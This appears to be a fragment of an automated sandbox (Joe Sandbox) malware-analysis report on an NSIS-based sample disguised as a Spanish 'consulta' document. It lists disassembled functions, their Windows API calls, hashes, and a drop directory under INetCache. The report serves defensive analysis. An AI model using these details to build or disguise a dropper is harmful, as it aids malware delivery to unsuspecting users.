Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: e13740883462cc78ac6c5afbeaba50eff29be6575239932ced4c036c4fe7d772
Instruction ID: 6ed1dcd439a9d73e7b184d3b9e055cec6739c9c837aa6d28afee44abb1cd8dac
Opcode Fuzzy Hash: e13740883462cc78ac6c5afbeaba50eff29be6575239932ced4c036c4fe7d772
Instruction Fuzzy Hash: 6611377150010DFFEF219F90DE89DAE7B6DFB64348F10007AFA01A11A0D7B58E59AA69

Function 10001759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118COMMON

Download Yara Rule

APIs

Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D83
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D88
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D8D

GlobalFree.KERNEL32(00000000), ref: 10001804
FreeLibrary.KERNEL32(?), ref: 1000187B
GlobalFree.KERNEL32(00000000), ref: 100018A0

Part of subcall function 10002286: GlobalAlloc.KERNEL32(00000040,00001020), ref: 100022B8

Part of subcall function 10002645: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,100017D5,00000000), ref: 100026B7

Part of subcall function 100015B4: lstrcpyW.KERNEL32(00000000,10004020,00000000,10001731,00000000), ref: 100015CD

Strings

, xrefs: 10001881

Memory Dump Source

Source File: 00000000.00000002.2987306905.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2987274852.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2987339691.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2987366231.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpy
String ID:
API String ID: 1791698881-3916222277
Opcode ID: 3820d06b2144ad54ebddf171c2200ffff0f7cb9118403e7eb0aa07fa6a87fa13
Instruction ID: d353a68b508970880cf9150dbe01e0f77130c4103e9cfdf2e47557ee24e57a3c
Opcode Fuzzy Hash: 3820d06b2144ad54ebddf171c2200ffff0f7cb9118403e7eb0aa07fa6a87fa13
Instruction Fuzzy Hash: 5E31BF75804241AAFB14DF749CC9BDA37E8FF053D0F158065FA0A9A08FDF74A9848761

Function 00403283 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00403297

Part of subcall function 00403402: SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403100,?), ref: 00403410

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,004031AD,00000004,00000000,00000000,?,?,00403127,000000FF,00000000,00000000,0040A230,?), ref: 004032CA
SetFilePointer.KERNELBASE(0000652F,00000000,00000000,00414ED0,00004000,?,00000000,004031AD,00000004,00000000,00000000,?,?,00403127,000000FF,00000000), ref: 004033C5

Strings

xc, xrefs: 004032E1

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: FilePointer$CountTick
String ID: xc
API String ID: 1092082344-2460966970
Opcode ID: 7f87ec3f3126c4afc5deb31522855fdbb853a78037bb661dde8e94ffc6001a55
Instruction ID: 6f8adcdc05782984f9803186be869087625e4848c31a04748361169110b3332d
Opcode Fuzzy Hash: 7f87ec3f3126c4afc5deb31522855fdbb853a78037bb661dde8e94ffc6001a55
Instruction Fuzzy Hash: 66314A72614205DBD7109F29FEC49663BA9F74039A714423FE900F22E0DBB9AD018B9D

Function 00401C19 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C89
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA1

Strings

!, xrefs: 00401C55

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: a529da5e5e50b73cda3617062f9fa6157020804c16351eeb2e898c586e7ec129
Instruction ID: 75e6d6340c5f39a85289ca98609147a27814c24a1fb1496c30dcde5ce6f9f3d4
Opcode Fuzzy Hash: a529da5e5e50b73cda3617062f9fa6157020804c16351eeb2e898c586e7ec129
Instruction Fuzzy Hash: 1A21C171908219AEEF04AFA4DE4AABE7BB4FF44304F14453EF505BA1D0D7B88541DB28

Function 00402032 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,?,000000F0), ref: 0040205D

Part of subcall function 00405371: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EAD,00000000,?), ref: 004053A9
Part of subcall function 00405371: lstrlenW.KERNEL32(00402EAD,Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EAD,00000000), ref: 004053B9
Part of subcall function 00405371: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll,00402EAD,00402EAD,Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll,00000000,00000000,00000000), ref: 004053CC
Part of subcall function 00405371: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll), ref: 004053DE
Part of subcall function 00405371: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405404
Part of subcall function 00405371: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040541E
Part of subcall function 00405371: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040542C

LoadLibraryExW.KERNEL32(00000000,?,00000008,?,000000F0), ref: 0040206E
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,?,000000F0), ref: 004020EB

Strings

?n, xrefs: 004020B0

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID: ?n
API String ID: 334405425-903412113
Opcode ID: 69b6fb779f4b81ccf18d003185774e5fcf78f1de7481548dcecb4aa74f4b6a0d
Instruction ID: e4abfbb00710fbb49cfbee30f6c47c6475fc16ace361a0eeed54ffc6686eb32c
Opcode Fuzzy Hash: 69b6fb779f4b81ccf18d003185774e5fcf78f1de7481548dcecb4aa74f4b6a0d
Instruction Fuzzy Hash: EB21AD71900215EBCF206FA5CE4999E7971BF04358F60453BF511B51E0CBBD8982DA6D

Function 004060DF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(?,?,00000000,?,?,00000002,Call,?,00406352,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00406109
RegQueryValueExW.KERNELBASE(?,?,00000000,?,?,?,?,00406352,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 0040612A
RegCloseKey.KERNELBASE(?,?,00406352,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 0040614D

Strings

Call, xrefs: 004060E2

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Call
API String ID: 3677997916-1824292864
Opcode ID: dc8238eba50b6a515ffb3eaa529f07d06f955d85da5af348ba8f56d7e8cd44ce
Instruction ID: 5a49725d9b8b462efd799bce316dcbaad7059079bb26d9a6c1e38be835131f9e
Opcode Fuzzy Hash: dc8238eba50b6a515ffb3eaa529f07d06f955d85da5af348ba8f56d7e8cd44ce
Instruction Fuzzy Hash: 2F015A3110020AEACF218F26ED08EDB3BA9EF88391F01403AFD55D6220D774D964CBA5

Function 00401B71 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(006E3F20), ref: 00401BE1
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401BF3

Strings

?n, xrefs: 00401B74, 00401BA4, 00401BB3, 00401BDC, 00401C07, 00401C0E
Call, xrefs: 00401B98, 00401B9E, 00401BB8

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Global$AllocFree
String ID: ?n$Call
API String ID: 3394109436-2302201974
Opcode ID: eb0d85568981212d004655e17b14bba425cdbbbf9f1fd0aa264f4d9e3e55e3d9
Instruction ID: bfeac54a7e569f0ef8803044b169413d496b9424a5b862e02772d0402316afe5
Opcode Fuzzy Hash: eb0d85568981212d004655e17b14bba425cdbbbf9f1fd0aa264f4d9e3e55e3d9
Instruction Fuzzy Hash: 5521AE72A44140EBCB20EBD48E8495E77B9EF94318B21457BF502B72D0DBB89851DF2D

Function 00401ED5 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00405371: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EAD,00000000,?), ref: 004053A9
Part of subcall function 00405371: lstrlenW.KERNEL32(00402EAD,Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EAD,00000000), ref: 004053B9
Part of subcall function 00405371: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll,00402EAD,00402EAD,Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll,00000000,00000000,00000000), ref: 004053CC
Part of subcall function 00405371: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll), ref: 004053DE
Part of subcall function 00405371: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405404
Part of subcall function 00405371: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040541E
Part of subcall function 00405371: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040542C

Part of subcall function 004058F2: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426730,Error launching installer), ref: 0040591B
Part of subcall function 004058F2: CloseHandle.KERNEL32(?), ref: 00405928

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401F04
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401F19
GetExitCodeProcess.KERNEL32(?,?), ref: 00401F26
CloseHandle.KERNELBASE(?,00000000,000000EB,00000000), ref: 00401F4D

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: 184809114880b392ed9dd56e507eb2abdd9cc5b514a3cbe04fa1cd24f2890ba2
Instruction ID: a49aa3197bbdededf4fd909b386d72e1103700f3deb01b848309097317d3e37e
Opcode Fuzzy Hash: 184809114880b392ed9dd56e507eb2abdd9cc5b514a3cbe04fa1cd24f2890ba2
Instruction Fuzzy Hash: C411C431A00109EBCF10AFA0DD84ADD7BB6EF04344F20807BF502B61E1C7B94992DB5A

Function 004015C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405C71: CharNextW.USER32(?,?,00425F30,?,00405CE5,00425F30,00425F30,758E3420,?,758E2EE0,00405A23,?,758E3420,758E2EE0,00000000), ref: 00405C7F
Part of subcall function 00405C71: CharNextW.USER32(00000000), ref: 00405C84
Part of subcall function 00405C71: CharNextW.USER32(00000000), ref: 00405C9C

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 00405840: CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405883

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable,?,00000000,000000F0), ref: 0040164D

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable, xrefs: 00401640

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable
API String ID: 1892508949-629450151
Opcode ID: f45346a17e49a49310934bebfc4de558bc436d66e5b9441c1e973121ad2ec1b9
Instruction ID: 477ca9af34b4fba6f67c9146569026d5a406fcfc9585fcc70d51ae903c55bf24
Opcode Fuzzy Hash: f45346a17e49a49310934bebfc4de558bc436d66e5b9441c1e973121ad2ec1b9
Instruction Fuzzy Hash: C511D331504505EBCF30BFA4CD0199E36A0FF15358B25893BE902B22F1DB3E4A919B5E

Function 00405CCE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406212: lstrcpynW.KERNEL32(?,?,00000400,004034F7,00429240,NSIS Error), ref: 0040621F

Part of subcall function 00405C71: CharNextW.USER32(?,?,00425F30,?,00405CE5,00425F30,00425F30,758E3420,?,758E2EE0,00405A23,?,758E3420,758E2EE0,00000000), ref: 00405C7F
Part of subcall function 00405C71: CharNextW.USER32(00000000), ref: 00405C84
Part of subcall function 00405C71: CharNextW.USER32(00000000), ref: 00405C9C

lstrlenW.KERNEL32(00425F30,00000000,00425F30,00425F30,758E3420,?,758E2EE0,00405A23,?,758E3420,758E2EE0,00000000), ref: 00405D27
GetFileAttributesW.KERNELBASE(00425F30,00425F30,00425F30,00425F30,00425F30,00425F30,00000000,00425F30,00425F30,758E3420,?,758E2EE0,00405A23,?,758E3420,758E2EE0), ref: 00405D37

Strings

0_B, xrefs: 00405CD4

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 0_B
API String ID: 3248276644-2128305573
Opcode ID: 8c509004bd2409bcc8bce800ca11afa93321ed7f3e6ee2afcf27be4b7ee26805
Instruction ID: ff48dfae10af5decf38b12d619470e329e8f167eeffaec785d8039fb28d6ac4e
Opcode Fuzzy Hash: 8c509004bd2409bcc8bce800ca11afa93321ed7f3e6ee2afcf27be4b7ee26805
Instruction Fuzzy Hash: 6DF04439108F612AE622323A2D08ABF1A14CF8236474A423FF851B12D1CB3C8D43DC6E

Function 004058F2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426730,Error launching installer), ref: 0040591B
CloseHandle.KERNEL32(?), ref: 00405928

Strings

Error launching installer, xrefs: 00405905

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 03ab27a360793ac613c0483ba4ee8f6366951212bcf32abb356d437eb8ce57e6
Instruction ID: ac9b0bf38c37d054f1ed4f6a01e64bdbc49d0edc431f290d839f62d49592851a
Opcode Fuzzy Hash: 03ab27a360793ac613c0483ba4ee8f6366951212bcf32abb356d437eb8ce57e6
Instruction Fuzzy Hash: B0E04FF0A00209BFEB009B64ED45F7B77ACEB04208F404431BD00F2160D77498148A78

Function 00406D0F Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
